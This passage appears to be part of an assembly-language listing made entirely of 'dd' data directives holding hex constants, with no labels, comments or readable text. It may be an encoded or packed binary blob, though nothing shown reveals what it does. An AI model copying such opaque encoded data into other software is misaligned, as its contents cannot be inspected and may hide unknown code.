705AF813h dd 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh dd 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h, 2C0239BAh dd 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h dd 0FAC2F4h, 4D2E4C9Bh, 0A5F49009h, 4410BC00h, 1D5C890Dh dd 25B0013h, 3AEB1B87h, 431FE369h, 0C3001296h, 0E6BF5A92h dd 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h dd 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h dd 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h dd 7448C51h, 591913CAh, 0A8870EAFh, 78962640h, 6B050969h dd 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h dd 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h, 297B0099h dd 4470119h, 9D030320h, 7449F30Bh, 0C63FC824h, 0E8170781h dd 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h, 5EDF6Dh dd 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h dd 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h dd 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h dd 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h dd 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h, 0EAC55E03h dd 98CDA984h, 0BF1620h, 0BD0B8291h, 0D4E19B80h, 775C5375h dd 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh, 7F1F31D7h dd 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h, 67D10DE4h dd 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h dd 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh dd 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh dd 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h dd 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh dd 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h, 172DB68Dh dd 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh dd 2DE07B62h, 26006920h, 17210231h, 24C3838Eh, 53EEDCh dd 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h dd 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh dd 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h dd 0C584B883h, 5ABC3Eh, 0C031B244h, 154C966h, 428F1E50h dd 0DD105180h, 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h dd 0C65F00CBh, 3916D7D8h, 770009F7h, 602F7413h, 2A7829h dd 0F8A5F33Fh, 3E1831Dh, 18A4D207h, 0E177431h, 7C3AFC30h dd 1950000Fh, 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh dd 4C4000Ch, 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h dd 0F576203Ch, 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h dd 34E6EB02h, 4FE255Fh, 1B1CC7FAh, 88508043h, 62070414h dd 84135640h, 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h dd 9C7F3D07h, 0CD7C8B00h, 20CE5F61h, 42B700F5h, 14D66A27h dd 800EE25h, 0C2F81CCBh, 788977h, 681E34E0h, 2C0B055Dh dd 92148D03h, 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh dd 3513F300h, 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h dd 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h dd 0B7E00F67h, 6BF04500h, 3663CC0h, 0D2F23EEEh, 40401E9Ch dd 1F4558Bh, 0F60169D0h, 178A38E8h, 0E0DE1964h, 483C0533h dd 0E500384Bh, 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh dd 5B0C001Eh, 2DA31BD9h, 0FD0092A4h, 33285CDFh, 13FA2C16h dd 1CA959h, 0AB81C735h, 0D90F078Ah, 67A2BBD6h, 0D0009816h dd 381272h, 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h dd 2AC80481h, 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h dd 62410068h, 0C131A990h dd 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h, 0B40013EEh dd 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h, 5A73E1B0h dd 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h, 3A1672E6h dd 0F0FE5Eh, 8A367403h, 750A3A08h, 54306700h, 1489313h dd 9F4A00D3h, 401625B6h, 83780208h, 311AB200h, 0B3B9D7D4h dd 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh, 903119h dd 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h, 0ABF33B09h dd 86311200h, 24405FAAh, 0F156900h, 8840541h, 89B202C7h dd 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh, 99036Fh dd 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h, 0F8300048h dd 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h, 1F170088h dd 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh, 7B97D929h dd 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h, 0AD41F6h dd 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h, 94CE1D50h dd 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h, 0B5CCF8D7h dd 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh, 0FD58C061h dd 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah, 4EB2000h dd 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h, 1C048D0Fh dd 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h, 5905127Ch dd 3289F631h, 90461780h, 7703486Ah, 78F07E00h, 0DE29D9EEh dd 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh, 92DF7430h dd 3007261h, 5420A2CAh, 0EA0B7643h, 1F110010h, 4CD07705h dd 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh, 0FAFFB150h dd 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h, 3C1E5AF2h dd 6C430253h, 7301FA00h, 90517497h, 8B440035h, 0ECF85442h dd 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah, 0FF1250A9h dd 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h, 8C7C3D74h dd 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h, 0CD290Eh dd 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh, 50C741Ah dd 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h, 3F29845h dd 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h, 0B847604Fh dd 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh, 6BE84700h dd 378323Fh, 5511E04Dh, 2DA06168h, 3000FF64h, 1B2089CCh dd 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h, 0AC8B8954h dd 34E683h, 8AEAA267h, 63C41618h, 0E0985200h, 0A16628EFh dd 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h, 0EFBC20Bh dd 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h, 726F425Ch dd 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h, 46C04C54h dd 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h dd 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh dd 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h dd 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h dd 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h dd 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh dd 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h dd 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh dd 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h dd 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh dd 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h, 75493700h dd 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h dd 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh dd 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh dd 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h, 1126D480h dd 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh dd 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh dd 0E802F061h, 53515200h, 818FF689h, 0F4500084h, 1058E012h dd 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh dd 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h dd 22000E74h, 4950811Dh, 23581Eh, 47257531h, 8BF09821h dd 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h dd 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h dd 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch dd 6A546200h, 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h dd 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h dd 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h dd 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h dd 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah dd 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h dd 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h dd 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh dd 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h dd 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh dd 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h dd 0EE2439h, 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh dd 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h, 74F1513Dh dd 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh, 0A54161E6h dd 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h dd 0B0FF0EE7h, 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh dd 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h dd 4586EC8h, 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h dd 189093Eh, 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h, 60EC7931h dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh, 3BCC031h dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h dd 3F1FFC5h, 3854491Ch, 86E97282h, 92836048h, 0C0070020h dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch, 0B02C1D26h dd 1E2A40C8h dd 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h, 0CE471627h dd 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h, 16272EFCh dd 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh, 0F3942467h dd 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh, 99CB9238h dd 1D90836h, 72F65232h, 0EC3B8189h, 300053D0h, 1817438Fh dd 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h, 4BFA4419h dd 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh, 14510204h dd 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah, 94ED2677h dd 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah, 0C8B63047h dd 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh, 9DF5F001h dd 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h, 57E148C2h dd 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h, 0F0004B12h dd 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh, 0B214EB00h dd 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h dd 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h, 3B121400h dd 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h, 4AEC7F00h dd 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h, 8FA5F301h dd 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh, 1508A4F8h dd 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h, 35B5A100h dd 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h, 4359481Dh dd 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h, 417E1D05h dd 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h, 26F95AD9h dd 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h, 18247444h dd 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h, 2080EE93h dd 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh dd 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h, 0F294834Bh dd 383C22h, 334AE877h, 30BB354h, 0D0299200h, 595C44BBh dd 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h, 80B4ED9Ah dd 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch, 3E933700h dd 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h, 32BBB684h dd 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h, 83161C0Fh dd 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h, 75231200h dd 381A08EFh, 47743E40h, 25581383h, 0EC88A34h, 0BA001685h dd 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh, 0CF01C62h dd 75226000h, 6ECF7013h, 0B4150048h, 0E186926h, 0F212163Eh dd 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh, 0F0080C43h dd 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h, 192E1F37h dd 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh, 75482Dh dd 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah, 66F0041h dd 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h, 508C00EBh dd 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h, 7A680067h dd 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh, 3718B76Dh dd 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h, 8B8400E3h dd 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h, 0EFF6Ah dd 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h, 2C8BD618h dd 275513h, 0EC80342h, 29E40865h, 4EEAB000h, 6CA3DAFCh dd 24510030h, 1A7F4145h, 1700F5B4h, 93750542h, 0FAFE227h dd 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h, 4C4B147Ch dd 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h, 95F8375h dd 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h, 0F86B04C6h dd 38BA546h, 25C0E390h, 0F8E1C1D6h, 0FEF9E458h, 96BCC700h dd 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh, 0EC96573Bh dd 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h, 8223C74Ah dd 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh, 40CFC90h dd 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h, 0C70441h dd 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h, 16225498h dd 293160h, 80CA4607h, 0C09CB8B4h, 89145200h, 95D1B9E2h dd 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh, 1945132Fh dd 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h, 1CF1306Ah dd 295AD100h, 2712E5E4h, 41240065h, 66522D30h, 620C9B3Bh dd 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h, 496892E4h dd 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah, 57C0014Ah dd 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h, 5F9AC101h dd 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh, 8B770103h dd 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh, 798B000Eh dd 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h, 4E0E41h dd 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h, 0AF3D07D0h dd 91618828h, 213BA044h, 517460AFh, 68BC0800h, 0F9233450h dd 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h, 3FC5Fh dd 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h, 53030063h dd 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh, 0CA000271h dd 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h, 104F944Ch dd 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h, 6F149C44h dd 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h, 0ACC8EF82h dd 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah, 3900F145h dd 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh, 0C05857DCh dd 277007Ch, 5213C201h, 0B4EA00C1h, 1FE40E4Fh, 4A145888h dd 2C954E89h, 4003A310h, 0E0E6C7C6h, 7F786h, 0FE5A6FBEh dd 2C2250E0h, 41813800h, 34761702h, 0E3A1E18h, 0E3678410h dd 0CA7DC0B8h, 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h dd 151307D6h, 0CF62B25Ah, 0A4D0E301h, 2A590ACh, 1F850D8h dd 0B078C442h, 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h dd 0FA34A86h, 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h dd 80CC1EE7h, 36D0895Bh, 7E008BF8h, 0FC58252Dh, 70261BC0h dd 27C754Ah, 1F7DDA39h, 5068D329h, 9E000519h, 0F416117Fh dd 6394C9h, 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h dd 9ED50F5Bh, 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh dd 7D123D4Ch, 430126h, 0F129227Eh, 2D9CFE9h, 3F42BC3Eh dd 8DF200F9h, 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h dd 4087A900h, 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah dd 46068A1Bh, 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h dd 0C746000h, 5AEC128Ah, 57FF051Dh, 0C0415E08h, 273AF875h dd 6A985100h, 0FF314390h, 489B0028h, 23AFC2FCh, 0E0007883h dd 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah dd 701A40EEh, 0AE0790FCh, 28DC3050h, 949B0C60h, 0C93207AAh dd 0B021FAD2h, 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h dd 0D43400B4h, 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h dd 0DA8906h, 1347E95Bh, 9C36C34Ah, 83A8B83Fh, 1E0EC81h dd 0E2FAE0A3h, 41B5007Ch, 903C37E8h, 7900F01Dh, 7D28F320h dd 1F240A80h, 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h dd 0AAF8C910h, 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h dd 87FB0E4Bh, 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h dd 50009A20h, 32125B3Bh dd 0EC8814h, 8A532E44h, 4F3924A8h, 6113B300h, 897C620Eh dd 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h, 0EC7F4F14h dd 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh, 0E506ADA0h dd 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h, 0D3F5890h dd 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h, 5893598Eh dd 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h, 0F0F35214h dd 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h, 0D4612D44h dd 10F0BB28h, 433E4C0h, 0FEF39450h, 89A0C052h, 54008BD5h dd 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h, 241D2D0Fh dd 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h, 431ED4EBh dd 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h, 9D0049F1h dd 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh, 0C6087544h dd 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh, 463A7620h dd 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h, 5DFD6D0h dd 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh, 5749A8D0h dd 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h, 9B3D09h dd 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah, 0BD5B0971h dd 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh, 0BF3100AFh dd 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h, 0BD0FDCh dd 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h, 0FA832875h dd 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h, 73E02A56h dd 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah, 0E4D414A3h dd 88909DA4h, 64836602h, 0C02A8038h, 1818764h, 5F3E868Dh dd 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h, 0C3A78AAEh dd 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h, 0C41007Ah dd 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h, 8F580002h dd 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah dd 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h, 0F02FE0A2h dd 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h, 458D12D8h dd 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh, 0E43E4A98h dd 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h, 0CBD48A23h dd 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h, 62CD005Ah dd 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh, 53C800FFh dd 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h, 0C0756Dh dd 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh, 2F2200FDh dd 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh, 2FC0C08h dd 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h, 2B4EAD53h dd 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h, 72EE3D6h dd 0D266E56Ch, 57A5C7A3h, 9794F008h, 